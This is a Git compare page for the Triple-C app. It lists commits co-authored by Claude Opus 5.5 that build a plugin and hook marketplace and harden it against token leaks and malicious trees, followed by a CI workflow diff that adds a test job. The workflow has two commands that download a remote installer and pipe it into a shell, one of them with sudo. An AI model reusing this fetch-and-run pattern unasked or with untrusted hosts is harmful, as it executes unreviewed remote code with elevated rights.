Compare commits

..
Author SHA1 Message Date
shadowdaoandClaude Opus 5.5 f55d91a09d Marketplace: let the kind filter wrap inside the item column
Secret Scan / scan (push) Successful in 7s
Secret Scan / scan (pull_request) Successful in 8s
Build App (Preview) / compute-version (pull_request) Successful in 7s
Build App (Preview) / create-release (pull_request) Successful in 2s
Build App (Preview) / test (pull_request) Failing after 17m8s
Build App (Preview) / build-macos (pull_request) Successful in 4m23s
Build App (Preview) / build-windows (pull_request) Successful in 7m26s
Build App (Preview) / build-linux (pull_request) Successful in 9m45s
Build App (Preview) / prune-previews (pull_request) Successful in 2s
All + the five kinds were wider than the fixed-width item column, so
Plugins was cut off behind a horizontal scrollbar.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 15:56:25 -07:00
shadowdaoandClaude Opus 5.5 2ce019c470 CLAUDE.md: imports skip both the hook and the plugin confirm steps (PR re-review)
Build App (Preview) / compute-version (pull_request) Successful in 1m5s
Secret Scan / scan (push) Successful in 7s
Secret Scan / scan (pull_request) Successful in 8s
Build App (Preview) / create-release (pull_request) Successful in 4s
Build App (Preview) / test (pull_request) Successful in 6m8s
Build App (Preview) / build-macos (pull_request) Successful in 4m38s
Build App (Preview) / build-linux (pull_request) Successful in 6m14s
Build App (Preview) / build-windows (pull_request) Successful in 7m10s
Build App (Preview) / prune-previews (pull_request) Successful in 3s
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 13:22:48 -07:00
shadowdaoandClaude Opus 5.5 0a4d1d5f95 Projects: restore store-owned fields under the store lock on save (PR re-review)
update_project restored marketplace installs (and status, container id,
flags) from a copy read before validation, then wrote the whole record
later, so an install landing in between was lost. ProjectsStore gains
update_restoring, which runs restore_store_owned_fields against the record
as stored under the lock, and update_project writes through it.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 13:22:43 -07:00
shadowdaoandClaude Opus 5.5 60c03baf62 Marketplace: explain, don't offer, updates that would be refused (PR re-review)
ItemUpdate gains invalid_at_head: compute_updates records why the item
cannot be installed at head (catalog invalid, or gone) — the rule
update_marketplace_item applies — read once per marketplace from the
snapshot at head, else from the catalog parsed at head. The Installed row
shows that reason instead of a Review button, and the update counts in the
Marketplace tab and Settings count only applicable updates.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 13:22:01 -07:00
shadowdaoandClaude Opus 5.5 3dfdafc9ca Marketplace: show path-valued and .lsp.json plugin components whole (PR re-review #4)
A plugin's hooks / mcpServers / lspServers given as a path (or list of
paths) in its catalog entry or plugin.json is resolved inside the plugin
folder and shown as that file's contents; a path escaping the folder or
naming a missing file makes the plugin invalid. The root .lsp.json is
listed next to hooks/hooks.json and .mcp.json. Components are no longer
cut at 64 KiB: they are shown whole up to the 1 MiB manifest cap, and a
plugin whose runnable parts cannot be shown whole is refused instead.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 13:20:12 -07:00
shadowdaoandClaude Opus 5.5 973e51f969 Marketplace: use is_multiple_of in describe_size (clippy)
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 13:13:48 -07:00
shadowdaoandClaude Opus 5.5 8ec033f923 Marketplace: match an update to the install pinned at its commit (PR review #8)
InstalledPane's updateFor now requires u.pinned === i.commit, so an install
of the same item at another (unchanged) commit no longer borrows another
install's update and shows a phantom one with an empty diff.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 13:13:11 -07:00
shadowdaoandClaude Opus 5.5 fe15f541b9 Marketplace: toast a refused account change and refresh after a saved one (PR review #7)
changeAccount now catches a rejected updateMarketplace (e.g. an account for
another host) and toasts it instead of leaving an unhandled rejection, and
refreshes the marketplace after a successful change so the old fetch error
is replaced.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 13:13:11 -07:00
shadowdaoandClaude Opus 5.5 c87299dda3 Marketplace: cheaper update checks and single-marketplace refreshes (PR review #10)
compute_updates reads each marketplace's head once (snapshot_head, no
snapshot clone) and opens each cache once, sharing trees across installs
through GitTree::at. refresh_marketplaces(Some(id)) re-pins only that
marketplace (mk::set_pins with only) and returns only its snapshot, which
the frontend merges by id.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 13:12:14 -07:00
shadowdaoandClaude Opus 5.5 e62ca8795a Marketplace: lock each cache on its own; a removed marketplace stays removed (PR review #5, #6)
The single global repo lock becomes one lock per marketplace, and
refresh_pins takes each marketplace's lock only while setting its pins, so
a slow fetch no longer queues installs and refreshes of other marketplaces.

refresh_marketplace now takes the lock first and reads the settings store
under it (a closure, not a copy captured earlier); a marketplace removed
meanwhile gets no cache and no snapshot. Removing a marketplace deletes its
snapshot and cache under the same lock (remove_marketplace_cache).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 13:10:04 -07:00
shadowdaoandClaude Opus 5.5 da65d51f09 Marketplace: review a plugin's catalog entry and confirm what it runs (PR review #3, #4)
A plugin's update diff now includes its marketplace.json entry as a
pretty-printed "marketplace.json entry" file, so inline hooks, MCP servers
and commands are reviewed like any file. CatalogItem gains
plugin_components (entry / plugin.json runnable keys, hooks/hooks.json,
.mcp.json, commands/), and installing a plugin now goes through
PluginConfirmModal listing them. The import-preview warnings describe
that confirmation accurately.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 13:08:15 -07:00
shadowdaoandClaude Opus 5.5 d51b54774b Marketplace: edit only the marketplace fields of a project (PR review #2)
ProjectsStore gains update_marketplace_fields / update_all_marketplace_fields,
which read-modify-write installs and opt-outs under the store's own lock.
Install, uninstall, update, forget and set_global_item_disabled use them
instead of writing back a whole Project read earlier, so a concurrent
start's status/container_id change is no longer overwritten.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 13:04:51 -07:00
shadowdaoandClaude Opus 5.5 e805c29c70 Marketplace: refuse an update to a version that is not installable (PR review #1)
Install and update now share ops::installable_at_head: the reviewed head
must still be the head and the item's catalog entry there must be valid.
The old update check (item_files) never parsed hook.json, so an upstream
hook with an unknown event could be pinned and then held by every sync.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 13:03:14 -07:00
shadowdaoandClaude Opus 5.5 14852ead65 Marketplace: check blob sizes from the object header before loading (PR review #9)
GitTree::read_file now takes a cap and reads the object's size from its
header first, so a blob over MAX_MANIFEST_BYTES / MAX_ITEM_BYTES is refused
without being inflated, and the blob is taken rather than cloned.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 13:01:48 -07:00
shadowdaoandClaude Opus 5.5 f2bb092586 Marketplace sync: keep installs the host could not build (final review M3)
Secret Scan / scan (push) Successful in 6s
Build App (Preview) / compute-version (pull_request) Successful in 5s
Secret Scan / scan (pull_request) Successful in 6s
Build App (Preview) / create-release (pull_request) Successful in 2s
Build App (Preview) / build-macos (pull_request) Successful in 3m49s
Build App (Preview) / test (pull_request) Successful in 5m37s
Build App (Preview) / build-windows (pull_request) Successful in 7m20s
Build App (Preview) / build-linux (pull_request) Successful in 8m7s
Build App (Preview) / prune-previews (pull_request) Successful in 1s
An install the host skipped (pinned commit missing from the cache, cache
unreadable, item failing a tightened validation rule) never reached the
manifest, so sync.sh treated it as deselected and deleted it from the
container. The manifest now carries `held`: the state ids of such
installs ("plugin:<slug>/<key>" for plugins). The script counts them as
still selected and carries their records forward, as it already does
for items that fail inside the container. A removed marketplace is the
one skip that still removes; a malformed `held` list changes nothing.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 10:16:27 -07:00
shadowdaoandClaude Opus 5.5 5829c42f0f Marketplace: derive the plugin slug from the id only (final review M4)
The slug (plugin marketplace "triple-c-<slug>", plugin tree
"plugins/<slug>/") was built from the editable display name. After a
rename the next sync registered the new marketplace, skipped the plugin
install because the state's commit matched, then removed the old
marketplace: the plugin was gone while the report said nothing changed.

marketplace_slug now takes the id only ("mp-<id8>"). With plugin state
kept per slug (I1), containers synced with the old "<name>-<id8>" slugs
move over on their next sync: plugins are installed under the new name,
the old copies uninstalled and the old registration dropped. A sync
script test covers that migration (it fails on the pre-I1 script).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 10:14:30 -07:00
shadowdaoandClaude Opus 5.5 19ae92d4f8 Marketplace fetch: offer the token only to the marketplace host (final review M1)
The credential callback answered every credential request. gix follows
a redirect of the initial handshake and asks for credentials for the
redirect target, so the token could be sent to another host. The
callback now answers only when the request's scheme, host and port
match the marketplace URL (gix's own URL normalisation, host compared
case-insensitively); anything else gets no credential.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 10:12:47 -07:00
shadowdaoandClaude Opus 5.5 dd019cf2c0 Marketplace: pin the commit the user reviewed (final review I2)
Install and update pinned whatever the marketplace head was when the
click landed, so a background refresh between review and click could
pin content nobody saw (including a hook's shell commands).
install_marketplace_item and update_marketplace_item now take
expected_commit and refuse with "changed since you reviewed this item —
review it again" unless it is still the head. The UI passes the head the
selected item was read at (Browse), the head frozen with a pending hook
confirm (whose commands are frozen too), and the head of the accepted
diff (Installed).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 10:11:19 -07:00
shadowdaoandClaude Opus 5.5 f2ebddd073 Marketplace sync: track plugin state per marketplace (final review I1)
Two marketplaces shipping a plugin of the same name shared one
"plugin:<key>" state record, so every sync reinstalled one copy and
reported it updated, and removing one marketplace never uninstalled its
copy. Plugin state ids are now "plugin:<slug>/<key>"; the slug and key
for an uninstall are derived from the id and re-validated. Older
"plugin:<key>" records are migrated using their recorded slug, so
existing installs are neither reinstalled nor orphaned. Reports keep
"plugin:<key>".

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 10:07:57 -07:00
shadowdaoandClaude Opus 5.5 2c1d6d8713 Docs: marketplace, and clean up new-code warnings/lints
CLAUDE.md gets a Marketplace subsection under Key Conventions (the sync
script is app-embedded and re-uploaded on every sync, never baked into
container/ — pre-flight F9) and the Settings export/import section now
covers marketplace account tokens traveling in ExportedSecrets and the
import preview's warning on global hook and plugin installs.
HOW-TO-USE.md gets a Marketplace section (placed after Shared Claude
Authentication) with its Table of Contents entry (pre-flight N13). The
spec doc's stale keychain service name, gh-login flags and
upload_bytes_to_container signature are amended to match the shipped
code (pre-flight N10).

Also fixes the new marketplace code's remaining build/clippy warnings:
BTreeMap/Sha256/Digest imports in tree.rs gated behind #[cfg(test)]
(their only uses are on MemTree, already test-only), the unused
`pub use marketplace::*` glob re-export dropped from models/mod.rs,
gh_login::strip_ansi marked #[cfg(test)] (production streams through
AnsiStripper instead), and four clippy lints in marketplace test code
(double_ended_iterator_last, cloned_ref_to_slice_refs x2,
single_match). Flushes the unresolved getMarketplaceSyncReport promise
in MarketplaceSection.test.tsx's "opens the Marketplace filtered to
this project" test to remove its act() warning.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 09:54:24 -07:00
shadowdaoandClaude Opus 5.5 9588687934 Merge Tasks 12–16 (marketplace frontend) into feat/marketplace
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 09:48:48 -07:00
shadowdaoandClaude Opus 5.5 6cf9664dc8 Marketplace: warn on imported global plugins; tidy import follow-ups
- The import preview counts global plugin installs and warns on them:
  a plugin can bring hooks and MCP servers into every container and an
  imported install skips the confirm step, like a hook.
- Item keys, hosts and branches in errors are quoted with {:?} and
  capped, since they can come from an import file.
- After an import, caches and snapshots of marketplaces the import
  dropped are removed (under the repo lock) and pins are refreshed for
  the imported installs.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 09:46:56 -07:00
shadowdaoandClaude Opus 5.5 89859b9a3c Marketplace gh login: read gh 2.101's device-code wording
gh 2.101.0 (the image's) prints "! One-time code (XXXX-XXXX) copied to
clipboard" and "Press Enter to open https://github.com/login/device in
your browser...". parse_device_prompt only knew "one-time code:", so no
code event went out and Enter was never pressed: gh sat at its prompt
until the 10-minute timeout. Match the label case-insensitively, accept
":" or "(" before the code, and require something after it so a code cut
by a frame boundary is not taken early.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 09:44:25 -07:00
shadowdaoandClaude Opus 5.5 f4153dce42 Marketplace: Tauri commands, store-owned fields and startup refresh
The 21 marketplace commands, registered and granted; marketplace fields
kept store-owned in update_settings/update_project; a background refresh
of every marketplace at app start.

- apply_marketplace_now emits marketplace-sync-finished per project (F4).
- Settings export carries marketplace account tokens in ExportedSecrets
  (account id -> token) and import restores them; imported accounts,
  marketplaces and global installs are validated with the commands' own
  rules before anything is written. The import preview discloses the
  marketplace count, token count and global hook installs, and warns on
  the latter (F10).
- refresh_pins and cache removal hold the repo lock (F11).
- ops::validate_host/validate_branch delegate to auth::valid_host and
  git::valid_branch (F13).
- A finished gh container login frees only its own cancel slot.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 09:41:59 -07:00
shadowdaoandClaude Opus 5.5 7a55c11b31 Merge Task 10 (gh sign-in inside a container) into feat/marketplace
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 09:32:54 -07:00
shadowdaoandClaude Opus 5.5 d9f143cdb3 Marketplace gh login: tear down the container login on every failure
A lost stream or a failed Enter write returned without killing the
in-container gh, leaving it polling with a temp GH_CONFIG_DIR that would
receive the token. The output loop is now drive_login (generic over the
stream, writer and emitter, so it is unit-tested without Docker), and
its result goes through cleanup_on_error, so every ending except a token
read back runs the pkill. Neutral wording for the shared ANSI stripper's
overflow warning.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 09:31:17 -07:00
shadowdaoandClaude Opus 5.5 310d55eb37 Marketplace: sync projects into their containers on start
Waits for the entrypoint, uploads the payload and the sync script, runs it
as claude and stores its report (payload skips merged in). The start hook
spawns the sync in the background; a per-project lock serialises syncs of
one project (pre-flight F11b).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 09:30:58 -07:00
shadowdao 1168a0c56b Merge Task 8 (container sync script) into feat/marketplace
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

# Conflicts:
#	app/src-tauri/src/marketplace/mod.rs
2026-09-27 09:28:31 -07:00
shadowdaoandClaude Opus 5.5 d84637fd39 Marketplace: GitHub sign-in through gh inside a container
Drives `gh auth login --web` in a running project container over an
attached pty, with GH_CONFIG_DIR/GIT_CONFIG_GLOBAL in a temp dir that is
removed on exit (also on HUP/INT/TERM), emits the one-time code and
redacted output lines, and returns the token read back between markers.
Host validation reuses auth::valid_host plus a no-port check (F13); a
cancel or timeout also pkills the in-container login (N9). Reuses the
setup-token flow's AnsiStripper, push_capped_tail and Enter delay, made
pub(crate) without behaviour change.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 09:27:22 -07:00
shadowdaoandClaude Opus 5.5 7fb2190211 Marketplace sync script: review fixes (round 2)
Removal only derives a path from an exact <kind>:<key> state id with a known
kind; any other record is dropped with an error and nothing is deleted
(an id like "skill" used to remove ~/.claude/skills/skill). Invalid plugin
records are dropped too, and a failed chmod 600 on settings.json is reported.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 09:27:10 -07:00
shadowdaoandClaude Opus 5.5 5cbb4591fe Marketplace sync script: review fixes (round 1)
- Validate manifest structure up front; malformed items are skipped with a
  reason instead of aborting extraction; an unreadable manifest changes
  nothing (no removals).
- Empty/whitespace settings.json reads as {}; non-object settings are left
  untouched; hook installs/updates/removals are reported and recorded only
  once their entries are actually merged; mv failures are checked.
- Dangling symlinks at user paths count as occupied.
- Removal paths are derived from kind+key, never taken from state.json.
- A symlinked settings.json is written through, not replaced.
- mktemp failure emits a JSON report instead of exiting silently.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 09:24:16 -07:00
shadowdaoandClaude Opus 5.5 7f3fe8cded Marketplace: build the per-project payload tar
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 09:21:11 -07:00
shadowdaoandClaude Opus 5.5 b73067019f Marketplace: container sync script and its tests
Constant POSIX sh + jq script (embedded via include_str!) that applies the
payload into ~/.claude, tracks ownership in state.json, never overwrites
user-owned files, merges hook entries surgically, drives claude plugin and
prints a JSON SyncReport. Also: settings.json kept 0600 (pre-flight N11),
payloads containing symlinks are refused, slugs parsed via @tsv.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 09:17:23 -07:00
shadowdaoandClaude Opus 5.5 9a1833d792 Marketplace: item diff, manager, refresh and update detection
Adds diff::item_diff (similar), MarketplaceManager with snapshots,
persisted sync reports, the gh-login slot and a repo lock held across
fetches (pre-flight F11a), refresh_marketplace, load_cached_snapshot,
compute_updates, pins_by_marketplace, head_for, and the GitFixture test
helper on top of git::test_support (F3). AppState gains marketplace.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 09:17:17 -07:00
shadowdaoandClaude Opus 5.5 51490a534e Marketplace auth: never follow redirects in token validation
Review fix round 1 for Task 5. reqwest's default redirect policy only
strips Authorization/Cookie/Proxy-Authorization/WWW-Authenticate on a
cross-host hop, so GitLab's PRIVATE-TOKEN header (and Authorization on
an https->http same-host downgrade) would have followed a redirect to
an attacker-controlled target. The client now disables redirects
outright, and a 3xx response is treated as "not this kind of host"
rather than an error. Also adds the missing N17 test for a malformed,
credential-bearing URL, and clarifies two doc comments.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 09:12:19 -07:00
shadowdaoandClaude Opus 5.5 126d7148ac Marketplace: account credentials, token validation and fetch-error advice
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 09:08:44 -07:00
shadowdaoandClaude Opus 5.5 28c8f0479b Project Config: Marketplace section with per-project opt-out and last sync report
Shows items this project gets from "All projects" installs (with a
per-item opt-out switch saved through setGlobalItemDisabled, since
opting out doesn't require a stopped container) and this project's own
installs. Fetches the last sync report on mount and refetches it when
marketplace-sync-finished fires for this project (N7, preflight), so
Apply Now and container-start syncs don't leave it stale.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 09:08:12 -07:00
shadowdaoandClaude Opus 5.5 e7ee62b456 Marketplace: gix cache with credentialed fetch, pins and GitTree
Anonymous fetches of private repos map to Auth, error text drops gix
source locations and names the innermost network cause, and
valid_branch is pub(crate) for the add form (pre-flight F1, F2, F13).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 09:04:00 -07:00
shadowdaoandClaude Opus 5.5 f3909084f6 Marketplace UI: accounts — gh on host, gh in a container, access tokens
Per preflight F5, Remove is disabled with a hint for an account a
marketplace uses rather than offering a confirm modal that promises a
removal the backend refuses.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 09:03:38 -07:00
shadowdaoandClaude Opus 5.5 487443c27c Marketplace UI: installed list, update diff review, apply now
Applies preflight rulings F4, F7, F8, N5: Apply now's toast shows only
the success/info summary (the marketplace-sync-finished event listener
already toasts per-project errors/skips, so this avoids a double toast);
row removal passes the bare MarketplaceItemRef rather than the full
MarketplaceInstall; UpdateDiffModal shows a hook's rendered commands at
head above the file diff so an update is reviewed the same way an
install is.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 08:58:38 -07:00
shadowdaoandClaude Opus 5.5 b09f811ac1 Marketplace: validate tree entry names and cap depth/manifest size
Fix round 1 from PR review of the tree/catalog parsing:

- collect_dir now rejects an entry whose name is ".", "..", empty, or
  contains "/", "\" or NUL before it becomes part of an item's rel_path —
  a crafted git tree could otherwise walk a file outside the item's own
  folder once that path is joined against the item root downstream.
- collect_dir caps recursion at 32 directory levels and counts
  directories (not just files) toward MAX_ITEM_FILES, so a tree that is
  wide or deep rather than merely file-heavy is still bounded.
- hook.json and plugins/.claude-plugin/marketplace.json are now rejected
  unparsed above 1 MiB, rather than handed to serde_json regardless of
  size.

A pre-read size query (checking a blob's size before reading it) is
deferred per controller ruling — this round reads the blob and checks
its length before parsing, which is enough for the JSON-parsing DoS
shape being closed here.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 08:55:32 -07:00
shadowdaoandClaude Opus 5.5 3c12a2fc89 Marketplace UI: browse, item detail, install controls, hook confirmation, add marketplace
Implements Task 13: BrowsePane (marketplace list, kind/search filters, item
detail), InstallControls (global/per-project install, opt-out, hook confirm
gate), HookConfirmModal, AddMarketplaceModal, and ItemDetail. Also applies
pre-flight ruling F6: a per-marketplace Remove button with a confirm dialog
(mp.remove) warning that surviving installs become "Source removed" and can
be dropped via Forget on the Installed tab, plus an inline account
reassignment select (updateMarketplace + reloadState).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 08:54:02 -07:00
shadowdaoandClaude Opus 5.5 2e62728b06 Marketplace: repo tree view and catalog parsing
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 08:48:31 -07:00
shadowdaoandClaude Opus 5.5 d23d0a44c5 Marketplace UI plumbing: wrappers, singleton tab, settings section, view shell
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 08:48:06 -07:00
shadowdaoandClaude Opus 5.5 d419d0a6b4 Marketplace: data model, settings and project fields
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 08:40:58 -07:00
shadowdaoandClaude Opus 5.5 723555bf1d Plan: Triple-C marketplace; spec: ship sync script in the app, detect readiness without an entrypoint change
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 08:13:59 -07:00
shadowdaoandClaude Opus 5.5 a6b00e0873 Spec: Triple-C marketplace design
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 07:50:22 -07:00
shadowdaoandClaude Opus 5.5 ece0d74afb Settings: let the shared-auth buttons wrap inside the sidebar
Re-authenticate, Revoke and Check snapshot images are each nowrap and
together wider than the settings sidebar, so the last one ran outside
its container.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-09-27 06:41:43 -07:00
jknapp 292fc907fb Shared login: press Enter separately from the pasted code (#64)
Build App / compute-version (push) Successful in 4s
Secret Scan / scan (push) Successful in 4s
Build App / build-macos (push) Successful in 2m45s
Build App / build-windows (push) Successful in 5m35s
Build App / build-linux (push) Successful in 7m33s
Build App / create-tag (push) Successful in 10s
Build App / sync-to-github (push) Successful in 1m13s
2026-09-27 13:29:29 +00:00
jknappandClaude Opus 5.5 0d117e97fe Add Auto permission mode (#63)
Build App / compute-version (push) Successful in 3s
Build Container / build-container (push) Successful in 1m58s
Secret Scan / scan (push) Successful in 4s
Build App / build-macos (push) Successful in 3m4s
Build App / build-windows (push) Successful in 5m48s
Build App / build-linux (push) Successful in 5m10s
Build App / create-tag (push) Successful in 4s
Build App / sync-to-github (push) Successful in 2m27s
Adds Claude Code's auto permission mode as a fifth option between Accept Edits and Bypass, across terminals, resumed sessions, the tab badge, the scheduler task runner and docs. Warns that Auto falls back to prompting when unavailable for the model/backend.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
2026-09-25 17:02:06 +00:00
jknappandClaude Opus 5.5 f8e3ec1150 CI: sign Windows releases with Azure Artifact Signing (#62)
Build App / compute-version (push) Successful in 17s
Secret Scan / scan (push) Successful in 7s
Build App / build-macos (push) Successful in 3m6s
Build App / build-linux (push) Successful in 5m15s
Build App / build-windows (push) Successful in 5m52s
Build App / create-tag (push) Successful in 5s
Build App / sync-to-github (push) Successful in 1m50s
Windows releases are now signed with Azure Artifact Signing: the app binary, the MSI, the NSIS installer and its uninstaller, 5 signatures per release. Build-time WiX and NSIS DLLs are skipped. "Verify signatures" fails a release unless the installers, the binaries inside the MSI, and the logged app-binary and uninstaller signatures are all valid and timestamped.

Previews are not signed and don't reference the signing secrets. The sign command reaches Tauri through `--config`; the v2 CLI never read TAURI_CONFIG, so the old inline override was a no-op.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
2026-09-24 02:09:48 +00:00
jknappandClaude Opus 5.5 85901d8a80 CI: run vitest and cargo test on every PR (#61)
Secret Scan / scan (push) Successful in 6s
The PR check now runs vitest and `cargo test --locked` in a `test` job that runs alongside the platform builds. That job is the merge-time guard for the app-command ACL census.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
2026-09-23 17:17:14 +00:00
jknappandClaude Opus 5.5 8305c96e20 Terminal file viewer/editor + per-window app-command lockdown (#60)
Build App / compute-version (push) Successful in 7s
Secret Scan / scan (push) Successful in 8s
Build App / build-macos (push) Successful in 2m53s
Build App / build-linux (push) Successful in 5m12s
Build App / build-windows (push) Successful in 5m15s
Build App / create-tag (push) Successful in 3s
Build App / sync-to-github (push) Successful in 1m5s
Clicking a file path in Claude's terminal output now opens the file in its own window with a CodeMirror 6 editor. The editor highlights the target line, live-reloads while the file changes, and saves explicitly with hash-based conflict detection. The viewer commands are gated by window label.

Every app command is now ACL-gated per window through a Tauri AppManifest. build.rs checks the handler list against the capability files and fails the build on any mismatch.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
2026-09-23 17:05:50 +00:00
156 changed files with 43383 additions and 203 deletions
+117 -6
View File
@@ -5,9 +5,13 @@ name: Build App (Preview)
# sync.
#
# This is also the **PR build check**: it compiles Linux, macOS and Windows, so
# a push that breaks any of them fails here. build-app.yml used to do that job
# in parallel and publish nothing, which meant six OS builds per push and one
# unreachable set of bundles; it is now releases-only.
# a push that breaks any of them fails here. Its `test` job runs vitest and
# `cargo test` too, so a push that breaks either suite fails here as well.
# Previews are not code-signed (releases are, in build-app.yml): see the
# comment on the Windows job's "Build Tauri app" step.
# build-app.yml used to do the build-check job in parallel and publish nothing,
# which meant six OS builds per push and one unreachable set of bundles; it is
# now releases-only.
#
# The cost of the swap, stated plainly: one prerelease per PR commit that
# touches `app/**` — so the workflow prunes its own, keeping the newest
@@ -221,6 +225,102 @@ jobs:
echo "RELEASE_ID=${RELEASE_ID}" >> $GITHUB_OUTPUT
echo "Release ${TAG} is id ${RELEASE_ID}"
# The test suites. Before this job CI ran neither: every check below lived on
# a developer's machine. The one that matters most is the app-command ACL
# census — `cargo test` is what re-checks the committed capability files and
# `gen/schemas/acl-manifests.json` against `generate_handler!`, and vitest's
# `capabilities.test.ts` is what keeps each window's code to the wrappers its
# capability grants. A command left ungranted builds fine and only fails at
# runtime ("not allowed by ACL"), so these tests are the merge-time guard.
#
# Independent of the release: no `needs`, so it runs alongside the three
# platform builds rather than in front of them, and a red test fails the PR
# check without holding up a preview someone may want to try anyway.
#
# Setup mirrors build-linux on purpose — the same Node, the same apt set
# (`cargo test` compiles the whole Tauri crate, so it needs WebKitGTK like
# a real build) and `npm ci` from the lockfile for the reasons given there.
test:
runs-on: ubuntu-latest
steps:
- name: Install Node.js 22
run: |
NEED_INSTALL=false
if command -v node >/dev/null 2>&1; then
NODE_MAJOR=$(node --version | sed 's/v\([0-9]*\).*/\1/')
OLD_NODE_DIR=$(dirname "$(which node)")
echo "Found Node.js $(node --version) at $(which node) (major: ${NODE_MAJOR})"
if [ "$NODE_MAJOR" -lt 22 ]; then
echo "Node.js ${NODE_MAJOR} is too old, removing before installing 22..."
sudo rm -f "${OLD_NODE_DIR}/node" "${OLD_NODE_DIR}/npm" "${OLD_NODE_DIR}/npx" "${OLD_NODE_DIR}/corepack"
hash -r
NEED_INSTALL=true
fi
else
echo "Node.js not found, installing 22..."
NEED_INSTALL=true
fi
if [ "$NEED_INSTALL" = true ]; then
curl -fsSL https://deb.nodesource.com/setup_22.x | sudo -E bash -
sudo apt-get install -y nodejs
hash -r
fi
node --version
npm --version
- name: Checkout
uses: actions/checkout@v4
- name: Install system dependencies
run: |
sudo apt-get update
sudo apt-get install -y \
libgtk-3-dev \
libwebkit2gtk-4.1-dev \
libayatana-appindicator3-dev \
librsvg2-dev \
libsoup-3.0-dev \
libssl-dev \
libxdo-dev \
pkg-config \
build-essential \
curl
- name: Install Rust stable
run: |
if command -v rustup >/dev/null 2>&1; then
rustup update stable
rustup default stable
else
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y --default-toolchain stable
fi
export PATH="$HOME/.cargo/bin:$PATH"
rustc --version
cargo --version
- name: Install frontend dependencies
working-directory: ./app
run: npm ci
# `npm run build` is `tsc && vite build`: the type check, and the
# `dist/` that `tauri::generate_context!` needs to exist before the Rust
# crate — and so `cargo test` — will compile at all.
- name: Type-check and build the frontend
working-directory: ./app
run: npm run build
- name: Frontend tests (vitest)
working-directory: ./app
run: npx vitest run
# `--locked`: test against the committed Cargo.lock, never a re-resolved
# one, for the same reason the frontend uses `npm ci`.
- name: Backend tests (cargo test)
working-directory: ./app/src-tauri
run: |
export PATH="$HOME/.cargo/bin:$PATH"
cargo test --locked
build-linux:
runs-on: ubuntu-latest
needs: [compute-version, create-release]
@@ -571,7 +671,10 @@ jobs:
- name: Install Tauri CLI via cargo
run: |
set "PATH=%USERPROFILE%\.cargo\bin;C:\Program Files\nodejs;%PATH%"
cargo install tauri-cli --version "^2"
rem Pinned to the @tauri-apps/cli version in app/package-lock.json, which
rem the Linux and macOS jobs run, and kept identical to build-app.yml so
rem a preview is built by the same bundler as the release it previews.
cargo install tauri-cli --version "=2.11.0" --locked
- name: Fix npm platform detection
run: |
@@ -594,13 +697,21 @@ jobs:
- name: Build Tauri app
working-directory: ./app
